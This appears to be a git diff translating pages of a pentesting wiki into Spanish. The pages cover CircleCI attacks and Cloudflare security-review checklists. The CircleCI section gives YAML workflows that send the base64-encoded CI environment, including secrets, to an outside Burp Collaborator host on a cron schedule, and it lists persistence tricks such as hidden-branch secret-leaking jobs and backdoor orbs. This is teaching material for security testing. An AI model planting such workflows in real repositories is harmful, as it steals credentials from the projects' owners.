+Si **no tienes acceso a la consola web** pero tienes **acceso al repositorio** y sabes que se utiliza CircleCI, puedes **crear un flujo de trabajo** que se **dispare cada minuto** y que **exfiltre los secretos a una dirección externa**:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
- exfil-env-workflow:
- triggers:
- - schedule:
- cron: "* * * * *"
- filters:
- branches:
- only:
- - circleci-project-setup
- jobs:
- - exfil-env
+exfil-env-workflow:
+triggers:
+- schedule:
+cron: "* * * * *"
+filters:
+branches:
+only:
+- circleci-project-setup
+jobs:
+- exfil-env
```
+#### Exfiltrar secretos de contexto
-#### Exfiltrate Context Secrets
-
-You need to **specify the context name** (this will also exfiltrate the project secrets):
-
+Necesitas **especificar el nombre del contexto** (esto también exfiltrará los secretos del proyecto):
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "env | base64"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "env | base64"
workflows:
- exfil-env-workflow:
- jobs:
- - exfil-env:
- context: Test-Context
+exfil-env-workflow:
+jobs:
+- exfil-env:
+context: Test-Context
```
-
-If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
-
+Si **no tienes acceso a la consola web** pero tienes **acceso al repositorio** y sabes que se utiliza CircleCI, puedes **modificar un flujo de trabajo** que se **activa cada minuto** y que **exfiltra los secretos a una dirección externa**:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
- exfil-env-workflow:
- triggers:
- - schedule:
- cron: "* * * * *"
- filters:
- branches:
- only:
- - circleci-project-setup
- jobs:
- - exfil-env:
- context: Test-Context
+exfil-env-workflow:
+triggers:
+- schedule:
+cron: "* * * * *"
+filters:
+branches:
+only:
+- circleci-project-setup
+jobs:
+- exfil-env:
+context: Test-Context
```
-
> [!WARNING]
-> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
+> Simplemente crear un nuevo `.circleci/config.yml` en un repositorio **no es suficiente para activar una construcción de circleci**. Necesitas **habilitarlo como un proyecto en la consola de circleci**.
-#### Escape to Cloud
+#### Escape a la Nube
-**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
-By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
-
-Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
+**CircleCI** te da la opción de ejecutar **tus construcciones en sus máquinas o en las tuyas**.\
+Por defecto, sus máquinas están ubicadas en GCP, y al principio no podrás encontrar nada relevante. Sin embargo, si una víctima está ejecutando las tareas en **sus propias máquinas (potencialmente, en un entorno de nube)**, podrías encontrar un **punto final de metadatos de nube con información interesante**.
+Ten en cuenta que en los ejemplos anteriores se lanzó todo dentro de un contenedor de docker, pero también puedes **pedir que se lance una máquina VM** (que puede tener diferentes permisos en la nube):
```yaml
jobs:
- exfil-env:
- #docker:
- # - image: cimg/base:stable
- machine:
- image: ubuntu-2004:current
+exfil-env:
+#docker:
+# - image: cimg/base:stable
+machine:
+image: ubuntu-2004:current
```
-
-Or even a docker container with access to a remote docker service:
-
+O incluso un contenedor de docker con acceso a un servicio de docker remoto:
```yaml
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - setup_remote_docker:
- version: 19.03.13
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- setup_remote_docker:
+version: 19.03.13
```
+#### Persistencia
-#### Persistence
-
-- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
- - _https://app.circleci.com/settings/user/tokens_
-- It's possible to **create projects tokens** to access the project with the permissions given to the token.
- - _https://app.circleci.com/settings/project/github/\/\/api_
-- It's possible to **add SSH keys** to the projects.
- - _https://app.circleci.com/settings/project/github/\/\/ssh_
-- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
- - Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
-- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
-- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
+- Es posible **crear** **tokens de usuario en CircleCI** para acceder a los endpoints de la API con el acceso del usuario.
+- _https://app.circleci.com/settings/user/tokens_
+- Es posible **crear tokens de proyectos** para acceder al proyecto con los permisos otorgados al token.
+- _https://app.circleci.com/settings/project/github/\/\/api_
+- Es posible **agregar claves SSH** a los proyectos.
+- _https://app.circleci.com/settings/project/github/\/\/ssh_
+- Es posible **crear un trabajo cron en una rama oculta** en un proyecto inesperado que está **filtrando** todas las variables de **contexto env** todos los días.
+- O incluso crear en una rama / modificar un trabajo conocido que **filtrará** todo el contexto y los **secretos de proyectos** todos los días.
+- Si eres un propietario de github, puedes **permitir orbes no verificados** y configurar uno en un trabajo como **puerta trasera**.
+- Puedes encontrar una **vulnerabilidad de inyección de comandos** en alguna tarea e **inyectar comandos** a través de un **secreto** modificando su valor.
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index 77d2c2c50..0eb315f92 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
-In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+En una cuenta de Cloudflare hay algunas **configuraciones y servicios generales** que se pueden configurar. En esta página vamos a **analizar las configuraciones relacionadas con la seguridad de cada sección:**
## Websites
-Review each with:
+Revisa cada uno con:
{{#ref}}
cloudflare-domains.md
@@ -16,9 +16,9 @@ cloudflare-domains.md
### Domain Registration
-- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
+- [ ] En **`Transfer Domains`** verifica que no sea posible transferir ningún dominio.
-Review each with:
+Revisa cada uno con:
{{#ref}}
cloudflare-domains.md
@@ -26,39 +26,39 @@ cloudflare-domains.md
## Analytics
-_I couldn't find anything to check for a config security review._
+_No pude encontrar nada para revisar la configuración de seguridad._
## Pages
-On each Cloudflare's page:
+En cada página de Cloudflare:
-- [ ] Check for **sensitive information** in the **`Build log`**.
-- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
-- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/).
-- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
-- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
-- [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
-- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
+- [ ] Verifica si hay **información sensible** en el **`Build log`**.
+- [ ] Verifica si hay **información sensible** en el **repositorio de Github** asignado a las páginas.
+- [ ] Verifica posibles compromisos del repositorio de github a través de **inyección de comandos de flujo de trabajo** o compromiso de `pull_request_target`. Más información en la [**página de Seguridad de Github**](../github-security/).
+- [ ] Verifica si hay **funciones vulnerables** en el directorio `/fuctions` (si las hay), verifica los **redireccionamientos** en el archivo `_redirects` (si los hay) y los **encabezados mal configurados** en el archivo `_headers` (si los hay).
+- [ ] Verifica si hay **vulnerabilidades** en la **página web** a través de **blackbox** o **whitebox** si puedes **acceder al código**.
+- [ ] En los detalles de cada página `//pages/view/blocklist/settings/functions`. Verifica si hay **información sensible** en las **`Environment variables`**.
+- [ ] En la página de detalles verifica también el **comando de construcción** y el **directorio raíz** en busca de **inyecciones potenciales** que comprometan la página.
## **Workers**
-On each Cloudflare's worker check:
+En cada worker de Cloudflare verifica:
-- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
-- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
-- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
- - Check for SSRFs returning the indicated page that you can control
- - Check XSSs executing JS inside a svg image
- - It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
+- [ ] Los disparadores: ¿Qué hace que el worker se active? ¿Puede un **usuario enviar datos** que serán **utilizados** por el worker?
+- [ ] En los **`Settings`**, verifica si hay **`Variables`** que contengan **información sensible**.
+- [ ] Verifica el **código del worker** y busca **vulnerabilidades** (especialmente en lugares donde el usuario puede gestionar la entrada).
+- Verifica SSRFs que devuelvan la página indicada que puedes controlar.
+- Verifica XSSs ejecutando JS dentro de una imagen svg.
+- Es posible que el worker interactúe con otros servicios internos. Por ejemplo, un worker puede interactuar con un bucket R2 que almacena información obtenida de la entrada. En ese caso, sería necesario verificar qué capacidades tiene el worker sobre el bucket R2 y cómo podría ser abusado a partir de la entrada del usuario.
> [!WARNING]
-> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
+> Ten en cuenta que por defecto a un **Worker se le asigna una URL** como `..workers.dev`. El usuario puede configurarlo como un **subdominio**, pero siempre puedes acceder a él con esa **URL original** si la conoces.
## R2
-On each R2 bucket check:
+En cada bucket R2 verifica:
-- [ ] Configure **CORS Policy**.
+- [ ] Configura la **CORS Policy**.
## Stream
@@ -70,8 +70,8 @@ TODO
## Security Center
-- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
-- [ ] Just **check this information** for security misconfigurations and interesting info
+- [ ] Si es posible, ejecuta un **`Security Insights`** **scan** y un **`Infrastructure`** **scan**, ya que **destacarán** información interesante desde el punto de vista de **seguridad**.
+- [ ] Solo **verifica esta información** en busca de configuraciones de seguridad incorrectas e información interesante.
## Turnstile
@@ -86,53 +86,49 @@ cloudflare-zero-trust-network.md
## Bulk Redirects
> [!NOTE]
-> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
+> A diferencia de [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) son esencialmente estáticos: no **soportan ninguna operación de reemplazo de cadenas** ni expresiones regulares. Sin embargo, puedes configurar parámetros de redirección de URL que afectan su comportamiento de coincidencia de URL y su comportamiento en tiempo de ejecución.
-- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
-- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
+- [ ] Verifica que las **expresiones** y **requisitos** para las redirecciones **tengan sentido**.
+- [ ] Verifica también si hay **endpoints ocultos sensibles** que contengan información interesante.
## Notifications
-- [ ] Check the **notifications.** These notifications are recommended for security:
- - `Usage Based Billing`
- - `HTTP DDoS Attack Alert`
- - `Layer 3/4 DDoS Attack Alert`
- - `Advanced HTTP DDoS Attack Alert`
- - `Advanced Layer 3/4 DDoS Attack Alert`
- - `Flow-based Monitoring: Volumetric Attack`
- - `Route Leak Detection Alert`
- - `Access mTLS Certificate Expiration Alert`
- - `SSL for SaaS Custom Hostnames Alert`
- - `Universal SSL Alert`
- - `Script Monitor New Code Change Detection Alert`
- - `Script Monitor New Domain Alert`
- - `Script Monitor New Malicious Domain Alert`
- - `Script Monitor New Malicious Script Alert`
- - `Script Monitor New Malicious URL Alert`
- - `Script Monitor New Scripts Alert`
- - `Script Monitor New Script Exceeds Max URL Length Alert`
- - `Advanced Security Events Alert`
- - `Security Events Alert`
-- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
- - [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
+- [ ] Verifica las **notificaciones.** Estas notificaciones son recomendadas para seguridad:
+- `Usage Based Billing`
+- `HTTP DDoS Attack Alert`
+- `Layer 3/4 DDoS Attack Alert`
+- `Advanced HTTP DDoS Attack Alert`
+- `Advanced Layer 3/4 DDoS Attack Alert`
+- `Flow-based Monitoring: Volumetric Attack`
+- `Route Leak Detection Alert`
+- `Access mTLS Certificate Expiration Alert`
+- `SSL for SaaS Custom Hostnames Alert`
+- `Universal SSL Alert`
+- `Script Monitor New Code Change Detection Alert`
+- `Script Monitor New Domain Alert`
+- `Script Monitor New Malicious Domain Alert`
+- `Script Monitor New Malicious Script Alert`
+- `Script Monitor New Malicious URL Alert`
+- `Script Monitor New Scripts Alert`
+- `Script Monitor New Script Exceeds Max URL Length Alert`
+- `Advanced Security Events Alert`
+- `Security Events Alert`
+- [ ] Verifica todos los **destinos**, ya que podría haber **información sensible** (autenticación http básica) en las URLs de webhook. Asegúrate también de que las URLs de webhook usen **HTTPS**.
+- [ ] Como verificación adicional, podrías intentar **suplantar una notificación de cloudflare** a un tercero, tal vez puedas **inyectar algo peligroso** de alguna manera.
## Manage Account
-- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
-- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
-- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
- - Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
-- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
+- [ ] Es posible ver los **últimos 4 dígitos de la tarjeta de crédito**, el **tiempo de expiración** y la **dirección de facturación** en **`Billing` -> `Payment info`**.
+- [ ] Es posible ver el **tipo de plan** utilizado en la cuenta en **`Billing` -> `Subscriptions`**.
+- [ ] En **`Members`** es posible ver todos los miembros de la cuenta y su **rol**. Ten en cuenta que si el tipo de plan no es Enterprise, solo existen 2 roles: Administrador y Super Administrador. Pero si el **plan utilizado es Enterprise**, se pueden usar [**más roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) para seguir el principio de menor privilegio.
+- Por lo tanto, siempre que sea posible, se **recomienda** utilizar el **plan Enterprise**.
+- [ ] En Members es posible verificar qué **miembros** tienen **2FA habilitado**. **Cada** usuario debería tenerlo habilitado.
> [!NOTE]
-> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
+> Ten en cuenta que afortunadamente el rol **`Administrator`** no otorga permisos para gestionar membresías (**no puede escalar privilegios ni invitar** nuevos miembros).
## DDoS Investigation
-[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
+[Revisa esta parte](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index 02989e685..58954786f 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -2,29 +2,29 @@
{{#include ../../banners/hacktricks-training.md}}
-In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+En cada TLD configurado en Cloudflare hay algunas **configuraciones y servicios generales** que se pueden configurar. En esta página vamos a **analizar las configuraciones relacionadas con la seguridad de cada sección:**
### Overview
-- [ ] Get a feeling of **how much** are the services of the account **used**
-- [ ] Find also the **zone ID** and the **account ID**
+- [ ] Obtener una idea de **cuánto** se están **usando** los servicios de la cuenta
+- [ ] Encontrar también el **ID de zona** y el **ID de cuenta**
### Analytics
-- [ ] In **`Security`** check if there is any **Rate limiting**
+- [ ] En **`Security`** verificar si hay alguna **Limitación de tasa**
### DNS
-- [ ] Check **interesting** (sensitive?) data in DNS **records**
-- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
-- [ ] Check for web pages that **aren't** **proxied**
-- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
-- [ ] Check that **DNSSEC** is **enabled**
-- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
- - This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
-- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
+- [ ] Verificar datos **interesantes** (¿sensibles?) en los **registros** DNS
+- [ ] Verificar **subdominios** que podrían contener **información sensible** solo basándose en el **nombre** (como admin173865324.domin.com)
+- [ ] Verificar páginas web que **no están** **protegidas**
+- [ ] Verificar **páginas web protegidas** que pueden ser **accedidas directamente** por CNAME o dirección IP
+- [ ] Verificar que **DNSSEC** esté **habilitado**
+- [ ] Verificar que **CNAME Flattening** esté **usado** en **todos los CNAMEs**
+- Esto podría ser útil para **ocultar vulnerabilidades de toma de subdominio** y mejorar los tiempos de carga
+- [ ] Verificar que los dominios [**no sean vulnerables a suplantación**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
### **Email**
@@ -38,44 +38,44 @@ TODO
#### **Overview**
-- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
-- [ ] The **SSL/TLS Recommender** should be enabled
+- [ ] La **encriptación SSL/TLS** debe ser **Completa** o **Completa (Estricto)**. Cualquier otra enviará **tráfico en texto claro** en algún momento.
+- [ ] El **Recomendador SSL/TLS** debe estar habilitado
#### Edge Certificates
-- [ ] **Always Use HTTPS** should be **enabled**
-- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
-- [ ] **Minimum TLS Version should be 1.2**
-- [ ] **TLS 1.3 should be enabled**
-- [ ] **Automatic HTTPS Rewrites** should be **enabled**
-- [ ] **Certificate Transparency Monitoring** should be **enabled**
+- [ ] **Siempre usar HTTPS** debe estar **habilitado**
+- [ ] **HTTP Strict Transport Security (HSTS)** debe estar **habilitado**
+- [ ] **La versión mínima de TLS debe ser 1.2**
+- [ ] **TLS 1.3 debe estar habilitado**
+- [ ] **Reescrituras automáticas de HTTPS** deben estar **habilitadas**
+- [ ] **Monitoreo de transparencia de certificados** debe estar **habilitado**
### **Security**
-- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
- - The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
-- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
-- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
-- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
-- [ ] In the **`Settings`** section:
- - [ ] Check that the **`Security Level`** is **medium** or greater
- - [ ] Check that the **`Challenge Passage`** is 1 hour at max
- - [ ] Check that the **`Browser Integrity Check`** is **enabled**
- - [ ] Check that the **`Privacy Pass Support`** is **enabled**
+- [ ] En la sección **`WAF`** es interesante verificar que se **utilizan reglas de Firewall** y **limitación de tasa** para prevenir abusos.
+- La acción **`Bypass`** **desactivará las** características de seguridad de Cloudflare para una solicitud. No debería ser utilizada.
+- [ ] En la sección **`Page Shield`** se recomienda verificar que esté **habilitado** si se utiliza alguna página
+- [ ] En la sección **`API Shield`** se recomienda verificar que esté **habilitado** si alguna API está expuesta en Cloudflare
+- [ ] En la sección **`DDoS`** se recomienda habilitar las **protecciones DDoS**
+- [ ] En la sección **`Settings`**:
+- [ ] Verificar que el **`Nivel de Seguridad`** sea **medio** o mayor
+- [ ] Verificar que el **`Tiempo de Desafío`** sea de 1 hora como máximo
+- [ ] Verificar que la **`Verificación de Integridad del Navegador`** esté **habilitada**
+- [ ] Verificar que el **`Soporte de Privacy Pass`** esté **habilitado**
#### **CloudFlare DDoS Protection**
-- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
-- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
- - If the attack is from a **verified bot**, at least **add a rate limit** to bots.
- - If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
- - You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
- - Check if **Managed rules** could also help to prevent vulnerability exploitations.
- - In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
-- In DDoS you could **override some rules to make them more restrictive**.
-- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
-- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
-- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
+- Si puedes, habilita **Bot Fight Mode** o **Super Bot Fight Mode**. Si estás protegiendo alguna API accesada programáticamente (desde una página de frontend JS, por ejemplo). Puede que no puedas habilitar esto sin romper ese acceso.
+- En **WAF**: Puedes crear **límites de tasa por ruta URL** o para **bots verificados** (reglas de limitación de tasa), o para **bloquear acceso** basado en IP, Cookie, referidor...). Así que podrías bloquear solicitudes que no provengan de una página web o que no tengan una cookie.
+- Si el ataque es de un **bot verificado**, al menos **agrega un límite de tasa** a los bots.
+- Si el ataque es a una **ruta específica**, como mecanismo de prevención, agrega un **límite de tasa** en esta ruta.
+- También puedes **blanquear** direcciones IP, rangos de IP, países o ASN desde las **Herramientas** en WAF.
+- Verifica si las **Reglas gestionadas** también podrían ayudar a prevenir explotaciones de vulnerabilidades.
+- En la sección **Herramientas** puedes **bloquear o dar un desafío a IPs** y **agentes de usuario** específicos.
+- En DDoS podrías **sobrescribir algunas reglas para hacerlas más restrictivas**.
+- **Configuraciones**: Establecer el **Nivel de Seguridad** en **Alto** y en **Bajo Ataque** si estás Bajo Ataque y que la **Verificación de Integridad del Navegador esté habilitada**.
+- En Cloudflare Domains -> Analytics -> Security -> Verificar si **la limitación de tasa** está habilitada
+- En Cloudflare Domains -> Security -> Events -> Verificar si hay **Eventos maliciosos detectados**
### Access
@@ -85,15 +85,15 @@ cloudflare-zero-trust-network.md
### Speed
-_I couldn't find any option related to security_
+_No pude encontrar ninguna opción relacionada con la seguridad_
### Caching
-- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
+- [ ] En la sección **`Configuration`** considera habilitar la **Herramienta de Escaneo CSAM**
### **Workers Routes**
-_You should have already checked_ [_cloudflare workers_](./#workers)
+_Ya deberías haber revisado_ [_cloudflare workers_](./#workers)
### Rules
@@ -101,9 +101,9 @@ TODO
### Network
-- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
-- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
-- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
+- [ ] Si **`HTTP/2`** está **habilitado**, **`HTTP/2 to Origin`** debe estar **habilitado**
+- [ ] **`HTTP/3 (con QUIC)`** debe estar **habilitado**
+- [ ] Si la **privacidad** de tus **usuarios** es importante, asegúrate de que **`Onion Routing`** esté **habilitado**
### **Traffic**
@@ -111,7 +111,7 @@ TODO
### Custom Pages
-- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
+- [ ] Es opcional configurar páginas personalizadas cuando se activa un error relacionado con la seguridad (como un bloqueo, limitación de tasa o estoy en modo de ataque)
### Apps
@@ -119,8 +119,8 @@ TODO
### Scrape Shield
-- [ ] Check **Email Address Obfuscation** is **enabled**
-- [ ] Check **Server-side Excludes** is **enabled**
+- [ ] Verificar que la **Ofuscación de Direcciones de Correo Electrónico** esté **habilitada**
+- [ ] Verificar que los **Excluidos del lado del servidor** estén **habilitados**
### **Zaraz**
@@ -131,7 +131,3 @@ TODO
TODO
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
index 491ae7bc1..773ebda48 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
@@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
-In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+En una cuenta de **Cloudflare Zero Trust Network** hay algunas **configuraciones y servicios** que se pueden configurar. En esta página vamos a **analizar las configuraciones relacionadas con la seguridad de cada sección:**
### Analytics
-- [ ] Useful to **get to know the environment**
+- [ ] Útil para **conocer el entorno**
### **Gateway**
-- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
- - If used, **policies** could be created to **restrict** the access to malicious sites.
- - This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
+- [ ] En **`Policies`** es posible generar políticas para **restringir** por **DNS**, **red** o **HTTP** quién puede acceder a las aplicaciones.
+- Si se utiliza, se podrían crear **políticas** para **restringir** el acceso a sitios maliciosos.
+- Esto es **solo relevante si se está utilizando un gateway**, si no, no hay razón para crear políticas defensivas.
### Access
#### Applications
-On each application:
+En cada aplicación:
-- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
- - To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
-- [ ] Check the **available identity providers** and make sure they **aren't too open**
-- [ ] In **`Settings`**:
- - [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
- - [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
- - [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
+- [ ] Verificar **quién** puede acceder a la aplicación en las **Policies** y asegurarse de que **solo** los **usuarios** que **necesitan acceso** a la aplicación puedan acceder.
+- Para permitir el acceso se van a utilizar **`Access Groups`** (y también se pueden establecer **reglas adicionales**)
+- [ ] Verificar que los **proveedores de identidad disponibles** no sean **demasiado abiertos**
+- [ ] En **`Settings`**:
+- [ ] Verificar que **CORS no esté habilitado** (si está habilitado, verificar que sea **seguro** y que no esté permitiendo todo)
+- [ ] Las cookies deben tener el atributo **Strict Same-Site**, **HTTP Only** y **binding cookie** debe estar **habilitado** si la aplicación es HTTP.
+- [ ] Considerar habilitar también **Browser rendering** para mejor **protección. Más información sobre** [**aislamiento de navegador remoto aquí**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
#### **Access Groups**
-- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
-- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
- - Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
+- [ ] Verificar que los grupos de acceso generados estén **correctamente restringidos** a los usuarios que deberían permitir.
+- [ ] Es especialmente importante verificar que el **grupo de acceso predeterminado no sea muy abierto** (no **esté permitiendo demasiada gente**) ya que por **defecto** cualquier persona en ese **grupo** podrá **acceder a las aplicaciones**.
+- Tenga en cuenta que es posible dar **acceso** a **TODOS** y otras **políticas muy abiertas** que no se recomiendan a menos que sea 100% necesario.
#### Service Auth
-- [ ] Check that all service tokens **expires in 1 year or less**
+- [ ] Verificar que todos los tokens de servicio **expiren en 1 año o menos**
#### Tunnels
@@ -50,16 +50,12 @@ TODO
### Logs
-- [ ] You could search for **unexpected actions** from users
+- [ ] Podrías buscar **acciones inesperadas** de los usuarios
### Settings
-- [ ] Check the **plan type**
-- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
-- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
+- [ ] Verificar el **tipo de plan**
+- [ ] Es posible ver el **nombre del propietario de la tarjeta de crédito**, **últimos 4 dígitos**, **fecha de expiración** y **dirección**
